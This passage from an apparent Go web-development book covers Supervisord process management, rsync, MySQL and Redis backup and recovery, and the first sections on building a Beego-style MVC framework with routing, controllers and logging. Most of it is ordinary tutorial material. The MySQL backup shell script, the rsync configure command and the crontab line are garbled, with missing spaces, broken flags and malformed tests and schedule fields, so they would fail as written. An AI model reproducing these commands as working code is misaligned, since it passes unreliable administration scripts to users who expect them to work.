logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB       ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10          ; (num of main logfile rotation backups;default 10)
loglevel=info               ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true              ; (start in foreground if true;default false)
minfds=1024                 ; (min. avail startup file descriptors;default 1024)
minprocs=200                ; (min. avail process descriptors;default 200)
user=root                 ; (default is current user, required if root)
childlogdir=/var/log/supervisord/            ; ('AUTO' child log dir, default $TEMP)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
; Manage the configuration of a single process, you can add multiple program
[program: blogdemon]
command =/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile =/var/log/supervisord/blogdemon.log





77.2.3 Supervisord management

After installation is complete, two Supervisord commands become available to you on the command line: supervisor and supervisorctl. The commands are as follows:


	supervisord: initial startup, launch, and process configuration management.

	supervisorctl stop programxxx: stop the programxxx process, where programxxx is a value configured in your supervisord.conf file. For instance, if you have something like [program: blogdemon] configured, you would use the supervisorctl stop blogdemon command to kill the process.

	supervisorctl start programxxx: start the programxxx process

	supervisorctl restart programxxx: restart the programxxx process

	supervisorctl stop all: stop all processes; note: start, restart, stop will not load the latest configuration files.

	supervisorctl reload: load the latest configuration file, launch them, and manage all processes with the new configuration.







77.3 Summary

In this section, we described how to implement daemons in Go. We learned that Go does not natively support daemons, and that we need to use third-party tools to help us manage them. One such tool is the Supervisord process control system which we can use to easily deploy and manage our Go programs.





77.4 Links


	Directory

	Previous section: Errors and crashes

	Next section: Backup and recovery







78 12.4 Backup and recovery

In this section, we’ll discuss another aspect of application management: data backup and recovery on production servers. We often encounter situations where production servers don’t behave as as we expect them to. Server network outages, hard drive malfunctions, operating system crashes and other similar events can cause databases to become unavailable. The need to recover from these types of events has led to the emergence of many cold standby/hot standby tools that can help to facilitate disaster recovery remotely. In this section, we’ll explain how to backup deployed applications in addition to backing up and restoring any MySQL and Redis databases you might be using.





78.1 Application Backup

In most cluster environments, web applications do not need to be backed up since they are actually copies of code from our local development environment, or from a version control system. In many cases however, we need to backup data which has been supplied by the users of our site. For instance, when sites require users to upload files, we need to be able to backup any files that have been uploaded by users to our website. The current approach for providing this kind of redundancy is to utilize so-called cloud storage, where user files and other related resources are persisted into a highly available network of servers. If our system crashes, as long as user data has been persisted onto the cloud, we can at least be sure that no data will be lost.

But what about the cases where we did not backup our data to a cloud service, or where cloud storage was not an option? How do we backup data from our web applications then? Here, we describe a tool called rysnc, which can be commonly found on unix-like systems. Rsync is a tool which can be used to synchronize files residing on different systems, and a perfect use-case for this functionality is to keep our website backed up.


Note: Cwrsync is an implementation of rsync for the Windows environment







78.1.1 Rsync installation

You can find the latest version of rsync from its official website. Of course, because rsync is very useful software, many Linux distributions will already have it installed by default.

Package Installation:

# sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ;
# yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ;
# rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ;

For the other Linux distributions, please use the appropriate package management methods to install it. Alternatively, you can build it yourself from the source:

tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure - prefix =/usr; make; make install 


Note: If want to compile and install the rsync from its source, you have to install gcc compiler tools such as job.



<blockquote>Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job</blockquote>





78.1.2 Rsync Configuration

Rsync can be configured from three main configuration files: rsyncd.conf which is the main configuration file, rsyncd.secrets which holds passwords, and rsyncd.motd which contains server information.

You can refer to the official documentation on rsync’s website for more detailed explanations, but here we will simply introduce the basics of setting up rsync:.


	Starting an rsync daemon server-side:

# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf


	the --daemon parameter is for running rsync in server mode. Make this the default boot-time setting by joining it to the rc.local file:

echo 'rsync --daemon' >> /etc/rc.d/rc.local




Setup an rsync username and password, making sure that it’s owned only by root, so that local unauthorized users or exploits do not have access to it. If these permissions are not set correctly, rsync may not boot:

echo 'Your Username: Your Password' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets


	Client synchronization:



Clients can synchronize server files with the following command:

rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www /var/rsync/backup

Let’s break this down into a few key points:


	-avzP are some common options. Use rsync --help to review what these do.

	--delete deletes extraneous files on the receiving side. For example, if files are deleted on the sending side, the next time the two machines are synchronized, the receiving sides will automatically delete the corresponding files.

	--password-file specifies a password file for accessing an rsync daemon. On the client side, this is typically the client/etc/rsyncd.secrets file, and on the server side, it’s /etc/rsyncd.secrets. When using something like Cron to automate rsync, you won’t need to manually enter a password.

	username specifies the username to be used in conjunction with the server-side /etc/rsyncd.secrets password

	192.168.145.5 is the IP address of the server

	::www (note the double colons), specifies contacting an rsync daemon directly via TCP for synchronizing the www module according to the server-side configurations located in /etc/rsyncd.conf. When only a single colon is used, the rsync daemon is not contacted directly; instead, a remote-shell program such as ssh is used as the transport .



In order to periodically synchronize files, you can set up a crontab file that will run rsync commands as often as needed. Of course, users can vary the frequency of synchronization according to how critical it is to keep certain directories or files up to date.





78.2 MySQL backup

MySQL databases are still the mainstream, go-to solution for most web applications. The two most common methods of backing up MySQL databases are hot backups and cold backups. Hot backups are usually used with systems set up in a master/slave configuration to backup live data (the master/slave synchronization mode is typically used for separating database read/write operations, but can also be used for backing up live data). There is a lot of information available online detailing the various ways one can implement this type of scheme. For cold backups, incoming data is not backed up in real-time as is the case with hot backups. Instead, data backups are performed periodically. This way, if the system fails, the integrity of data before a certain period of time can still be guaranteed. For instance, in cases where a system malfunction causes data to be lost and the master/slave model is unable to retrieve it, cold backups can be used for a partial restoration.

A shell script is generally used to implement regular cold backups of databases, executing synchronization tasks using rsync in a non-local mode.

The following is an example of a backup script that performs scheduled backups for a MySQL database. We use the mysqldump program which allows us to export the database to a file.

#!/bin/bash
# Configuration information; modify it as needed  
mysql_user="USER" #MySQL backup user
mysql_password="PASSWORD" # MySQL backup user's password
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" # MySQL encoding
backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1", "DB2" db3 ")
backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its default, for the program to automatically create a folder
expire_backup_delete="ON" # Whether to delete outdated backups or not
expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the `expire_backup_delete` option is "ON"

# We do not need to modify the following initial settings below
backup_time=`date +%Y%m%d%H%M` # Define the backup time format 
backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time
backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date
backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder
welcome_msg="Welcome to use MySQL backup tools!" # Greeting

# Determine whether to MySQL is running; if not, then abort the backup 
mysql_ps=`ps-ef | grep mysql | wc-l`
mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l`
if [[$mysql_ps==0]-o [$mysql_listen==0]]; then
  echo "ERROR: MySQL is not running! backup aborted!"
  exit
else
  echo $welcome_msg
fi

# Connect to the mysql database; if a connection cannot be made, abort the backup 
mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end
use mysql;
select host, user from user where user='root' and host='localhost';
exit
end

flag=`echo $?`
if [$flag!="0"]; then
  echo "ERROR: Can't connect mysql server! backup aborted!"
  exit
else
  echo "MySQL connect ok! Please wait......"
   # Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort 
  if ["$backup_db_arr"!=""]; then
       # dbnames=$(cut-d ','-f1-5 $backup_database)
       # echo "arr is(${backup_db_arr [@]})"
      for dbname in ${backup_db_arr [@]}
      do
          echo "database $dbname backup start..."
          `mkdir -p $backup_dir`
          `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz`
          flag=`echo $?`
          if [$flag=="0"]; then
              echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz"
          else
              echo "database $dbname backup has failed!"
          fi
          
      done
  else
      echo "ERROR: No database to backup! backup aborted!"
      exit
  fi
   # If deleting expired backups is enabled, delete all expired backups 
  if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then
      # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;`
      `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf`
      echo "Expired backup data delete complete!"
  fi
  echo "All databases have been successfully backed up! Thank you!"
  exit
fi

Modify the properties of the shell script like so:

chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh

Then add the crontab command:

00 00 *** /root/mysql_backup.sh

This sets up regular backups of your databases to the /var/www/mysql directory every day at 00:00, which can then be synchronized using rsync.





78.3 MySQL Recovery

We’ve just described some commonly used backup techniques for MySQL, namely hot backups and cold backups. To recap, the main goal of a hot backup is to be able to recover data in real-time after an application has failed in some way, such as in the case of a server hard-disk malfunction. We learned that this type of scheme can be implemented by modifying database configuration files so that databases are replicated onto a slave, minimizing interruption to services.

But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command:

Hot backups are, however, sometimes inadequate. There are certain situations where cold backups are required to perform data recovery, even if it’s only a partial one. When you have a cold backup of your database, you can use the following MySQL command to import it:

mysql -u username -p databse < backup.sql

As you can see, importing and exporting database is a fairly simple matter. If you need to manage administrative privileges or deal with different character sets, this process may become a little more complicated, though there are a number of commands which will help you to do this.





78.4 Redis backup

Redis is one of the most popular NoSQL databases, and both hot and cold backup techniques can also be used in systems which use it. Like MySQL, Redis also supports master/slave mode, which is ideal for implementing hot backups (refer to Redis’ official documentation to learn learn how to configure this; the process is very straightforward). As for cold backups, Redis routinely saves cached data in memory to the database file on-disk. We can simply use the rsync backup method described above to synchronize it with a non-local machine.





78.5 Redis recovery

Similarly, Redis recovery can be divided into hot and cold backup recovery. The methods and objectives of recovering data from a hot backup of a Redis database are the same as those mentioned above for MySQL, as long as the Redis application is using the appropriate database connection.

A Redis cold backup recovery simply involves copying backed-up database files into the working directory, then starting Redis on it. The database files are automatically loaded into memory at boot time; the speed with which Redis boots will depend on the size of the database files.





78.6 Summary

In this section, we looked at some techniques for backing up data as well as recovering from disasters which may occur after deploying our applications. We also introduced rsync, a tool which can be used to synchronize files on different systems. Using rsync, we can easily perform backup and restoration procedures for both MySQL and Redis databases, among others. We hope that by being introduced to some of these concepts, you will be able to develop disaster recovery procedures to better protect the data in your web applications.
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79 12.5 Summary

In this chapter, we discussed how to deploy and maintain our Go web applications. We also looked at some closely related topics which can help us to keep them running smoothly, with minimal maintenance.

Specifically, we looked at:


	Creating a robust logging system capable of recording errors, and notifying system administrators

	Handling runtime errors that may occur, including logging them, and how to relay this information in a user-friendly manner that there is a problem

	Handling 404 errors and notifying users that the requested page cannot be found

	Deploying applications to a production environment (including how to deploy updates)

	How to deploy highly available applications

	Backing up and restoring files and databases



After reading the contents of this chapter, those thinking about developing a web application from scratch should already have the full picture on how to do so; this chapter provided an introduction on how to manage deployment environments, while previous chapters have focused on the development of code.
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80 13 Building a web framework

The Preceding twelve chapters describe how to develop web applications in Go, introducing a lot of basic knowledge, development tools and techniques. In this chapter, we will be using this knowledge to implement a simple web framework. The first section of this chapter will take you through the planning and design stage of building a web framework. We’ll look at leveraging the MVC pattern as well as designing program execution flow, among other things. The second section will describe the first feature of our framework: Routing; namely, how to map URLs to processing logic. Then in the third section, we describe the processing logic itself, which involves designing generic controllers, and how to handle requests and return responses after inheriting from an object handler. Next, we describe some of the auxiliary functionality common to most web frameworks, such as log processing, information configuration, etc. Finally, we’ll implement a simple blogging system on top of our framework which will demonstrate the application logic necessary for publishing, modifying, deleting, and displaying lists of blog posts.

By seeing first-hand how to implement such a complete project from scratch, you will hopefully have a better understanding of the inner workings of Go web applications. You’ll be comfortable building your own project directory structures, implementing URL routers and utilizing MVC, among other aspects of web development. Among the frameworks prevalent today, MVC is no longer a myth. It’s not uncommon to hear programmers arguing about which frameworks are good and which are bad, which is often too shallow of an approach. Frameworks are only tools, and some tools are more suitable for certain applications than others. There are no universally good or bad tools. Thus, by teaching yourself how to write a framework from scratch, you will be able to tailor-make the perfect tool to best realize your ideas!
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81 13.1 Project planning

Anything you intend to do well must first be planned well. In our case, our intention is to develop a blogging system, so the first step we should take is to design the flow of the application in its entirety. When we have a clear understanding of the our application’s process of execution, the subsequent design and coding steps become much easier.





81.1 GOPATH and project settings

Let’s proceed by assuming that our GOPATH points to a folder with with an ordinary directory name (if not, we can easily set up a suitable directory and set its path as the GOPATH). As we’ve describe earlier, a GOPATH can contain more than one directory: in Windows, we can set this as an environment variable; in linux/OSX systems, GOPATH can be set using export, i.e: export gopath=/path/to/your/directory, as long as the directory which GOPATH points to contains the three sub-directories: pkg, bin and src. Below, we’ve placed the source code of our new project in the src directory with the tentative name beelog. Here are some screenshots of the Windows environment variables as well as of the directory structure.

[image: ]

Figure 13.1 Setting the GOPATH environment variable
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Figure 13.2 The working directory under $gopath/src





81.2 Application flowchart

Our blogging system will be based on the model-view-controller design pattern. MVC is the separation of the application logic from the presentation layer. In practice, when we keep the presentation layer separated, we can drastically reduce the amount of code needed on our web pages.


	Models represent data as well as the rules and logic governing it. In General, a model class will contain functions for removing, inserting and updating database information.

	Views are a representation of the state of a model. A view is usually a page, but in Go, a view can also be a fragment of a page, such as a header or footer. It can also be an RSS feed, or any other type of “page”. Go’s template package provides very good support for view layer functionality.

	Controllers are the glue logic between the model and view layers and encompasses all the intermediary logic necessary for handling HTTP requests and generating Web pages.



The following figure is an overview of the project framework and demonstrates how data will flow through the system:

[image: ]

Figure 13.3 framework data flow


	Main.go is the application’s entry point and initializes some basic resources required to run the blog such as configuration information, listening ports, etc.

	Routing checks all incoming HTTP requests and, according to the method, URL and parameters, matches it with the corresponding controller action.

	If the requested resource has already been cached, the application will bypass the usual execution process and return a response directly to the user’s browser.

	Security detection: The application will filter incoming HTTP requests and any other user submitted data before handing it off to the controller.

	Controller loads models, core libraries, and any other resources required to process specific requests. The controller is primarily responsible for handling business logic.

	Output the rendered view to be sent to the client’s web browser. If caching has been enabled, the first view is cached for future requests to the same resource.







81.3 Directory structure

According to the framework flow we’ve designed above, our blog project’s directory structure should look something like the following:

|——main.go         import documents
|——conf            configuration files and processing module
|——controllers     controller entry
|——models          database processing module
|——utils           useful function library
|——static          static file directory
|——views           view gallery





81.4 Framework design

In order to quickly build our blog, we need to develop a minimal framework based on the application we’ve designed above. The framework should include routing capabilities, support for RESTful controllers, automated template rendering, a logging system, configuration management, and more.





81.5 Summary

This section describes the initial design of our blogging system, from setting up our GOPATH to briefly introducing the MVC pattern. We also looked at the flow of data and the execution sequence of our blogging system. Finally, we designed the structure of our project directory. At this point, we’ve basically completed the groundwork required for assembling our framework. In the next few sections, we will implement each of the components we’ve discussed, one by one.





81.6 Links


	Directory

	Previous section: Building a web framework

	Next section: Customizing routers







82 13.2 Customizing routers





82.1 HTTP routing

The HTTP routing component is responsible for mapping HTTP requests to a corresponding function or struct method. The router takes two key pieces of information from incoming requests:

-The user requested path (for example, /user/123,/article/123), and any query strings or parameters that come with it (for example, ?id=11)

-The HTTP request method (GET, POST, PUT, and DELETE, PATCH, etc.)

The router then forwards the request to the handler function (controller layer) that has been registered with that particular HTTP method and path.





82.2 Default routing implementation

In section 3.4, we introduced Go’s http package in detail, which included how to design and implement routing. Here, we take another look at an example that illustrates the routing process:

func fooHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}

http.Handle("/foo", fooHandler)

http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})

log.Fatal(http.ListenAndServe(":8080", nil))

The example above calls http’s default mux called DefaultServeMux, implicitly specified by the nil parameter in the call to http.ListenAndServe. The http.Handle function takes two parameters: the first parameter is the resource you want users to access, specified by its URL path (which is stored in r.URL.Path) and the second argument binds a handler function with this path. The Router has two main jobs:


	To add and store routing information

	To forward requests to a handler function for processing



By default, Go routes are handled with http.Handle and http.HandleFunc types, registered by default through the underlying DefaultServeMux.Handle(pattern string, handler Handler) function. This function maps resource paths to handlers and stores them in a map[string]muxEntry map. This is the first job that we mentioned above.

When the application is running, the Go server listens to a port. When it receives a tcp connection, it uses a Handler to process it. As aforementioned, since the Handler in the example above is nil, the default router http.DefaultServeMux is used. Using the map of previously stored routes, DefaultServeMux.ServeHTTP will dispatch the request to the first handler with a matching path. This is the router’s second job.

for k, v := range mux.m {
    if !pathMatch(k, path) {
        continue
    }
    if h == nil || len(k) > n {
        n = len(k)
        h = v.h
    }
}





82.3 Routing with Beego

At present, most Go web applications base their routing on http’s default router, however this has several limitations:


	Does not support dynamic routes with parameters, such as the/user/:UID

	Does not have good support for REST. The access methods cannot be restricted; for instance in the above example, when users access /foo, they can use the GET, POST, DELETE, and HEAD HTTP methods, among others.

	In large apps, routing rules can become repetitive and cumbersome. Personally, I’ve developed simple web APIs composed of nearly thirty routing rules when in fact, these rules could have been further simplified using method structs.



The Beego framework’s router is designed to overcome these limitations, taking the REST paradigm into consideration and simplifying the storing and forwarding of routes and requests.





82.3.1 Storing routes

To address the first limitation of the default router, we need to be able to support dynamic URL parameters. For the second and third points, we adopt an alternative approach,mapping REST methods to struct methods and routing requests to this struct instead handler functions. This way, a forwarded request can be handled according to their HTTP method.

Based on the above ideas, we’ve designed two data types: controllerInfo, which saves the path and the corresponding controllerType struct as a reflect.Type type, and ControllerRegistor, which saves routing information for the specified Beego application.

type controllerInfo struct {
    regex          *regexp.Regexp
    params         map[int]string
    controllerType reflect.Type
}

type ControllerRegistor struct {
    routers     []*controllerInfo
    Application *App
}

ControllerRegistor’s external interface contains the following method:

func(p *ControllerRegistor) Add(pattern string, c ControllerInterface)

Its detailed implementation is as follows:

func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
    parts := strings.Split(pattern, "/")

    j := 0
    params := make(map[int]string)
    for i, part := range parts {
        if strings.HasPrefix(part, ":") {
            expr := "([^/]+)"

            //a user may choose to override the default expression
            // similar to expressjs: ‘/user/:id([0-9]+)’

            if index := strings.Index(part, "("); index != -1 {
                expr = part[index:]
                part = part[:index]
            }
            params[j] = part
            parts[i] = expr
            j++
        }
    }

    //recreate the url pattern, with parameters replaced
    //by regular expressions. Then compile the regex.

    pattern = strings.Join(parts, "/")
    regex, regexErr := regexp.Compile(pattern)
    if regexErr != nil {

        //TODO add error handling here to avoid panic
        panic(regexErr)
        return
    }

    //now create the Route
    t := reflect.Indirect(reflect.ValueOf(c)).Type()
    route := &controllerInfo{}
    route.regex = regex
    route.params = params
    route.controllerType = t

    p.routers = append(p.routers, route)

}





82.3.2 Static routing

We’ve implemented dynamic routing in our example above. By default, Go’s http package supports serving static files with http.FileServer, which return a Handler. Since we have implemented a custom router, we will also need a way of handling static files. Beego’s static folder path is saved in a global variable called StaticDir, which maps URL to corresponding paths. The SetStaticPath’s implementation can be seen below:

func (app *App) SetStaticPath(url string, path string) *App {
    StaticDir[url] = path
    return app
}

The application’s static routes can be set like so:

beego.SetStaticPath("/img", "/static/img")





82.3.3 Forwarding routes

We can forward routes based on the forwarding information contained within ControllerRegistor. The detailed implementation can be seen in the following code snippet:

// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    defer func() {
        if err := recover(); err != nil {
            if !RecoverPanic {
                // go back to panic
                panic(err)
            } else {
                Critical("Handler crashed with error", err)
                for i := 1; ; i += 1 {
                    _, file, line, ok := runtime.Caller(i)
                    if !ok {
                        break
                    }
                    Critical(file, line)
                }
            }
        }
    }()
    var started bool
    for prefix, staticDir := range StaticDir {
        if strings.HasPrefix(r.URL.Path, prefix) {
            file := staticDir + r.URL.Path[len(prefix):]
            http.ServeFile(w, r, file)
            started = true
            return
        }
    }
    requestPath := r.URL.Path

    //find a matching Route
    for _, route := range p.routers {

        //check if Route pattern matches url
        if !route.regex.MatchString(requestPath) {
            continue
        }

        //get submatches (params)
        matches := route.regex.FindStringSubmatch(requestPath)

        //double check that the Route matches the URL pattern.
        if len(matches[0]) != len(requestPath) {
            continue
        }

        params := make(map[string]string)
        if len(route.params) > 0 {
            //add url parameters to the query param map
            values := r.URL.Query()
            for i, match := range matches[1:] {
                values.Add(route.params[i], match)
                params[route.params[i]] = match
            }

            //reassemble query params and add to RawQuery
            r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
            //r.URL.RawQuery = url.Values(values).Encode()
        }
        //Invoke the request handler
        vc := reflect.New(route.controllerType)
        init := vc.MethodByName("Init")
        in := make([]reflect.Value, 2)
        ct := &Context{ResponseWriter: w, Request: r, Params: params}
        in[0] = reflect.ValueOf(ct)
        in[1] = reflect.ValueOf(route.controllerType.Name())
        init.Call(in)
        in = make([]reflect.Value, 0)
        method := vc.MethodByName("Prepare")
        method.Call(in)
        if r.Method == "GET" {
            method = vc.MethodByName("Get")
            method.Call(in)
        } else if r.Method == "POST" {
            method = vc.MethodByName("Post")
            method.Call(in)
        } else if r.Method == "HEAD" {
            method = vc.MethodByName("Head")
            method.Call(in)
        } else if r.Method == "DELETE" {
            method = vc.MethodByName("Delete")
            method.Call(in)
        } else if r.Method == "PUT" {
            method = vc.MethodByName("Put")
            method.Call(in)
        } else if r.Method == "PATCH" {
            method = vc.MethodByName("Patch")
            method.Call(in)
        } else if r.Method == "OPTIONS" {
            method = vc.MethodByName("Options")
            method.Call(in)
        }
        if AutoRender {
            method = vc.MethodByName("Render")
            method.Call(in)
        }
        method = vc.MethodByName("Finish")
        method.Call(in)
        started = true
        break
    }

    //if no matches to url, throw a not found exception
    if started == false {
        http.NotFound(w, r)
    }
}





82.3.4 Getting started

Using our router design, we can solve the three limitations mentioned earlier. The three main use-cases are:

Registering route handlers:

beego.BeeApp.RegisterController("/", &controllers.MainController{})

Handling dynamic parameters:

beego.BeeApp.RegisterController("/:param", &controllers.UserController{})

Regex matching:

beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})





82.4 Links


	Directory

	Previous section: Project planning

	Next section: Designing controllers







83 13.3 Designing controllers

Most traditional MVC frameworks are based on suffix action mapping. Nowadays, the REST style web architecture is becoming increasingly popular. One can implement REST-style URLs by filtering or rewriting them, but why not just design a new REST-style MVC framework instead? This section is based on this idea, and focusses on designing and implementing a controller based, REST-style MVC framework from scratch. Our goal is to simplify the development of web applications, perhaps even allowing us to write a single line of code capable of serving “Hello, world”.





83.1 The controller’s role

The MVC design pattern is currently the most used framework model for web applications. By keeping Models, Views and Controllers separated, we can keep our web applications modular, maintainable, testable and extensible. A model encapsulates data and any of the business logic that governs that data, such as accessibility rules, persistence, validation, etc. Views serve as the data’s representation and in the case of web applications, they usually live as templates which are then rendered into HTML and served. Controllers serve as the “glue” logic between Models and Views and typically have methods for handling different URLs. As described in the previous section, when a URL request is forwarded to a controller by the router, the controller delegates commands to the Model to perform some action, then notifies the View of any changes. In certain cases, there is no need for models to perform any kind of logical or data processing, or for any views to be rendered. For instance, in the case of an HTTP 302 redirect, no view needs to be rendered and no processing needs to be performed by the Model, however the Controller’s job is still essential.





83.2 RESTful design in Beego

The previous section describes registering route handlers with RESTful structs. Now, we need to design the base class for a logic controller that will be composed of two parts: a struct and interface type.

type Controller struct {
    Ct        *Context
    Tpl       *template.Template
    Data      map[interface{}]interface{}
    ChildName string
    TplNames  string
    Layout    []string
    TplExt    string
}

type ControllerInterface interface {
    Init(ct *Context, cn string) //Initialize the context and subclass name
    Prepare()                    //some processing before execution begins
    Get()                        //method = GET processing
    Post()                       //method = POST processing
    Delete()                     //method = DELETE processing
    Put()                        //method = PUT handling
    Head()                       //method = HEAD processing
    Patch()                      //method = PATCH treatment
    Options()                    //method = OPTIONS processing
    Finish()                     //executed after completion of treatment
    Render() error               //method executed after the corresponding method to render the page
}

Then add the route handling function described earlier in this chapter. When a route is defined to be a ControllerInterface type, so long as we can implement this interface, we can have access to the following methods of our base class controller.

func (c *Controller) Init(ct *Context, cn string) {
    c.Data = make(map[interface{}]interface{})
    c.Layout = make([]string, 0)
    c.TplNames = ""
    c.ChildName = cn
    c.Ct = ct
    c.TplExt = "tpl"
}

func (c *Controller) Prepare() {

}

func (c *Controller) Finish() {

}

func (c *Controller) Get() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Post() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Delete() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Put() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Head() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Patch() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Options() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Render() error {
    if len(c.Layout) > 0 {
        var filenames []string
        for _, file := range c.Layout {
            filenames = append(filenames, path.Join(ViewsPath, file))
        }
        t, err := template.ParseFiles(filenames...)
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    } else {
        if c.TplNames == "" {
            c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
        }
        t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.Execute(c.Ct.ResponseWriter, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    }
    return nil
}

func (c *Controller) Redirect(url string, code int) {
    c.Ct.Redirect(code, url)
}   

Above, the controller base class already implements the functions defined in the interface. Through our routing rules, the request will be routed to the appropriate controller which will in turn execute the following methods:

Init() initialization routine 
Prepare() pre-initialization routine; each inheritting subclass may implement this function
method() depending on the request method, perform different functions: GET, POST, PUT, HEAD, etc. Subclasses should implement these functions; if not implemented, then the default is 403
Render() optional method. Determine whether or not to execute according to the global variable "AutoRender"  
Finish() is executed after the action been completed. Each inheritting subclass may implement this function 





83.3 Application guide

Above, we’ve just finished discussing Beego’s implementation of the base controller class. We can now use this information to design our request handling, inheriting from the base class and implementing the necessary methods in our own controller.

package controllers

import (
    "github.com/astaxie/beego"
)

type MainController struct {
    beego.Controller
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}

In the code above, we’ve implemented a subclass of Controller called MainController which only implements the Get() method. If a user tries to access the resource using any of the other HTTP methods (POST, HEAD, etc), a 403 Forbidden will be returned. However, if a user submits a GET request to the resource and we have have the AutoRender variable set to true, the resource’s controller will automatically call its Render() function, rendering the corresponding template and responding with the following:

[image: ]

The index.tpl code can be seen below; as you can see, parsing model data into a template is quite simple:

<!DOCTYPE html>
<html>
  <head>
    <title>beego welcome template</title>
  </head>
  <body>
    <h1>Hello, world!{{.Username}},{{.Email}}</h1>
  </body>
</html>





83.4 Links


	Directory

	Previous section: Customizing routers

	Next section: Logs and configurations







84 13.4 Logging and configuration





84.1 The importance of logging and configuration

Previously in the book, we saw that event logging plays a very important role in application development. With adequate logging, we can record crucial information that can later be dissected for debugging and optimization purposes. In the section where we looked at the seelog logging utility, we saw that it had settings for various log level gradations, which can be essential for program development and deployment; we can set the logging level lower in a development environment, while setting it high in production so that we can mask extraneous information when we are trying to debug our application.

Setting up server configuration module for deploying an application involves a number of different server settings. For example, we typically need to provide information regarding database configuration, listening ports, etc., via the configuration file. Setting up a centralized configuration file allows us the flexibility of deploying on different machines and connecting to remote databases, if needed.





84.2 The Beego logging system

The Beego logger’s design borrows ideas from seelog provides similar functionality in terms of setting logging levels. Beego’s system is, however, more lightweight and makes use of the Go’s log.Logger interface. By default, logs are outputted to os.Stdout, but users can implement this interface through beego.SetLogger to customize this. A detailed example of an implemented interface can be seen below:

// Log levels for controlling the logging output.
const (
    LevelTrace = iota
    LevelDebug
    LevelInfo
    LevelWarning
    LevelError
    LevelCritical
)

// logLevel controls the global log level used by the logger.
var level = LevelTrace

// LogLevel returns the global log level and can be used in
// a custom implementations of the logger interface.
func Level() int {
    return level
}

// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
    level = l
}

This section implements the above log grading system. The default level is set to Trace and users can customize grading levels using SetLevel.

// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)

// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
    BeeLogger = l
}

// Trace logs a message at trace level.
func Trace(v ...interface{}) {
    if level <= LevelTrace {
        BeeLogger.Printf("[T] %v\n", v)
    }
}

// Debug logs a message at debug level.
func Debug(v ...interface{}) {
    if level <= LevelDebug {
        BeeLogger.Printf("[D] %v\n", v)
    }
}

// Info logs a message at info level.
func Info(v ...interface{}) {
    if level <= LevelInfo {
        BeeLogger.Printf("[I] %v\n", v)
    }
}

// Warning logs a message at warning level.
func Warn(v ...interface{}) {
    if level <= LevelWarning {
        BeeLogger.Printf("[W] %v\n", v)
    }
}

// Error logs a message at error level.
func Error(v ...interface{}) {
    if level <= LevelError {
        BeeLogger.Printf("[E] %v\n", v)
    }
}

// Critical logs a message at critical level.
func Critical(v ...interface{}) {
    if level <= LevelCritical {
